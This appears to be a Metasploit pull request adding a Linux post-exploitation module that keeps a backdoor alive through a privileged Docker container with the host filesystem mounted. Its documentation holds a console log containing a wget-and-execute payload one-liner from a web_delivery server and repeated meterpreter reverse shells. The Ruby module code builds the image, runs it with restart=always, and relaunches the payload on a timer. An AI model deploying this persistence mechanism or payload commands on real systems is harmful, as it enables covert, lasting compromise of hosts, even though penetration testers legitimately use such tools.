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docker image persistence module #20536

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489e0ca
docker image persistence module draft
h00die Sep 10, 2025
2bf5264
docker image persistence module
h00die Sep 10, 2025
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168 changes: 168 additions & 0 deletions documentation/modules/exploit/linux/persistence/docker_image.md
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## Vulnerable Application

This module maintains persistence on a host by creating a docker image which runs our
payload, and has access to the host's file system (/host in the container). Whenever the
container restarts, the payload will run, or when the payload dies the executable
will run again after a delay. This will allow for writing back
into the host through cron entries, ssh keys, or other method.

Verified on Ubuntu 22.04.

## Verification Steps

1. Start `msfconsole`
2. Get a Meterpreter session
3. `use exploit/linux/persistence/docker_image`
4. `set SESSION [SESSION]`
5. `run`
6. You should get a new session from within the docker image with `/host` mounted from `/` on the host.

## Options

### SLEEP

How many seconds the docker image should wait before checking if the session has died and trying to re-establish it.
Default is `600`

## Scenarios

### Ubuntu 22.04

Get a meterpreter session

```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
```

Install Persistence

```
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > set session 1
session => 1
msf exploit(linux/persistence/docker_image) > check
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[*] The service is running, but could not be validated. docker app is installed and accessible
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//DoEVqOGSMX
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
[+] Persistent image created: alpine_fslaxxlv
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
[*] Stopping and removing temp container
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
```

Show the running docker container

```
msf exploit(linux/persistence/docker_image) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 16004 created.
Channel 21 created.
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0793ddcdab86 alpine_fslaxxlv "/entrypoint.sh" 50 seconds ago Up 49 seconds great_cannon

exit
meterpreter > background
[*] Backgrounding session 1...
```

Kill meterpreter to show it restart automatically

```
msf exploit(linux/persistence/docker_image) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > exit
[*] Shutting down session: 2

[*] 2.2.2.2 - Meterpreter session 2 closed. Reason: Died
msf exploit(linux/persistence/docker_image) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
```

Show access to the host's OS.

```
msf exploit(linux/persistence/docker_image) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
PRETTY_NAME="Alpine Linux v3.22"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
meterpreter > cat /host/etc/os-release
PRETTY_NAME="Ubuntu 22.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.1 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
meterpreter > shell
Process 19 created.
Channel 3 created.
touch /host/root/pwnd
ls -lah /host/root/pwnd
-rw-r--r-- 1 root root 0 Sep 10 17:02 /host/root/pwnd
```
158 changes: 158 additions & 0 deletions modules/exploits/linux/persistence/docker_image.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Docker Image Persistence',
'Description' => %q{
This module maintains persistence on a host by creating a docker image which runs our
payload, and has access to the host's file system (/host in the container). Whenever the
container restarts, the payload will run, or when the payload dies the executable
will run again after a delay. This will allow for writing back
into the host through cron entries, ssh keys, or other method.

Verified on Ubuntu 22.04.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => [ 'linux' ],
'Arch' => [
# ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],
],
'DisclosureDate' => '2013-03-20', # docker's release date
'DefaultTarget' => 0,
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options(
[
OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),
]
)
end

def check
# we don't need this check since the payload is in the docker image
# print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe('docker is required') unless command_exists?('docker')

vprint_status('Checking Docker availability and permissions...')

output = cmd_exec('docker ps 2>&1')

if output.include?('permission denied')
return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
# elsif output =~ /CONTAINER ID/
end

CheckCode::Detected('docker app is installed and accessible')
end

def install_persistence
# Step 1: Prepare payload
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{writable_dir}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
upload_and_chmodx backdoor, generate_payload_exe

# Step 2: Prepare entrypoint script (loops indefinitely)
sleep_time = datastore['SLEEP']
entry_script = <<~SCRIPT
#!/bin/sh
while true; do
if [ -x /usr/local/bin/#{file_name} ]; then
# Check if it's already running
if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then
/usr/local/bin/#{file_name} &
fi
fi
sleep #{sleep_time}
done
SCRIPT

entry_file = "#{writable_dir}/entrypoint.sh"
write_file(entry_file, entry_script)
cmd_exec("chmod 755 #{entry_file}")

# Step 3: Pull Alpine image
cmd_exec('docker pull alpine')

# Step 4: Create a temporary container (stopped) to copy files in
tmp_container = cmd_exec('docker run -dit alpine sh').strip
vprint_status("Temporary container created: #{tmp_container}")

# Copy payload and entrypoint into container
cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")
cmd_exec("docker cp #{entry_file} #{tmp_container}:/")

cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")
cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")

# Commit a new persistent image
persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"
cmd_exec("docker commit #{tmp_container} #{persistent_image}")
print_good("Persistent image created: #{persistent_image}")

# Remove temporary container
cmd_exec("docker rm #{tmp_container}")

# Step 5: Start container with internal entrypoint
container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip
print_good("Container started with internal entrypoint: #{container_id}")

# Step 6: Add cleanup commands for RC
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"
@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"

# Step 7: Clean up host temp files
rm_f backdoor
rm_f entry_file

# Step 8: Stop tmp image
print_status('Stopping and removing temp container')
cmd_exec("docker stop #{tmp_container}")
cmd_exec("docker rm #{tmp_container}")

print_status("Payload installed and running with #{sleep_time}-second loop in container")
end

end